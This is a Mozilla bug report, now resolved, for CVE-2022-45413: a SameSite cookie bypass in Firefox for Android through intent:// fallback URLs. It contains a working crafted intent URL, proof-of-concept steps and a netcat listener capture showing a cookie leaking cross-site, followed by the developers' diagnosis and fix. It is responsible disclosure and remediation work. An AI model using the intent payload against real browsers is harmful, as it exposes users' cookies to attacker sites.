1791201 - (CVE-2022-45413) SameSite=Strict cookie bypass on Android via fallback URLs in intent:// scheme

Status: RESOLVED FIXED

(Fenix :: General, defect, P2)

Description

[haxatron1]

Attachment: cookie.php

SameSite=Strict cookies can be sent cross-site (without user interaction) via the intent URLs. Consider the following URL:

intent://192.168.1.70#Intent;scheme=http;package=garbage;S.browser_fallback_url=http://192.168.1.70:8000/cookie;end

On Android, the S.browser_fallback_url parameter specifies the URL to load when the browser fails to verify the intent. As the intent above is invalid due to the invalid package name, then Firefox browser will not open another app but instead open the URL http://192.168.1.70:8000/cookie.

When opening the fallback_url parameter, it doesn't take into account the passing of SameSite=Strict cookie, as such, an attacker can just redirect a user to the URL intent://192.168.1.70#Intent;scheme=http;package=garbage;S.browser_fallback_url=http://192.168.1.70:8000/cookie;end and the cookies will get passed on.

STR:

1. Download attached files.
2. Host cookie.php on Site A, intent-redirect.php on Site B. Remember to change the URL in intent-redirect.php to Site B!
3. Visit cookie.php on Site A to retrieve SameSite cookies
4. Open a listener on Site A, then visit intent-redirect.php on Site B
5. The SameSite cookie gets sent to cross-site from Site B to Site A.

└─$ nc -nvlp 8000
listening on [any] 8000 ...
connect to [192.168.1.70] from (UNKNOWN) [192.168.1.127] 43784
GET /cookie HTTP/1.1
Host: 192.168.1.70:8000
User-Agent: Mozilla/5.0 (Android 11; Mobile; rv:104.0) Gecko/104.0 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: a=b
Upgrade-Insecure-Requests: 1

Comment 1

[haxatron1]

Attachment: intent-redirect.php

Comment 2

[haxatron1]

Attachment: simpler-poc.html

Easier STR.
On Firefox Android,

1. Download simpler-poc.html
2. Set-cookie by clicking (1)
3. Verify SameSite Strict cookie set by clicking (2), cookie should not be seen.
4. SameSite Strict cookie should be sent on (3).

Comment 3

[haxatron1]

Actually, thinking about this now, it is a samesite=lax bypass too, as intent redirects are confirmed to work (so a user just needs to visit a malicious site to trigger the bypass)

Comment 4

[Christian Sadilek [:csadilek]]

Roger, Irene, could you take a look at this, specifically our App links logic to handle browser_fallback_url?

Our interceptor logic seems load the URL without specifying load flags, which is wrong in this case:

• https://github.com/mozilla-mobile/android-components/blob/a8f53e4989a37dccdff510b1f5d3b8d871594543/components/browser/engine-gecko/src/main/java/mozilla/components/browser/engine/gecko/GeckoEngineSession.kt#L659
• https://github.com/mozilla-mobile/android-components/blob/71e124a5dbafffb800168ea615fdbc54d7398f50/components/feature/app-links/src/main/java/mozilla/components/feature/app/links/AppLinksInterceptor.kt#L123-L133
• https://github.com/mozilla-mobile/android-components/blob/6431cfeee9987337ff9d9260f5a7ac6188bf6160/components/feature/app-links/src/main/java/mozilla/components/feature/app/links/AppLinksUseCases.kt#L128

But even without load flags it seems that GV should handle this?

Comment 5

[Roger Yang [:royang]]

Using the STR above, I can confirm that the cookie is sent cross-site. As Christian correctly pointed out, the loadUrl call in A-C should set the flag to external() to prevent this from happening. I've tested and it does indeed fixes this issue.

Question for Irene, should there also be a check that catches this in GV? Thanks

Comment 6

[[:owlish] 🦉 PST]

Roger, I looked at GV's code - we don't do anything about the cookies, flags or storage. All the related logic seems to be in Gecko. Seeing that this is related to Intents specifically, I would guess this is an AC issue.

Comment 7

[Roger Yang [:royang]]

Patch landed in Nightly with https://github.com/mozilla-mobile/android-components/pull/12927

Comment 8

[haxatron1]

Thanks, could this be marked as fixed (as the commit has been merged) or are there any secondary patches incoming?

Comment 9

[Roger Yang [:royang]]

Yes, this can be marked as fixed. I've confirmed on latest Nightly using simple-poc.html that this issue has been fixed. Thanks

Comment 10

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Attachment: advisory.txt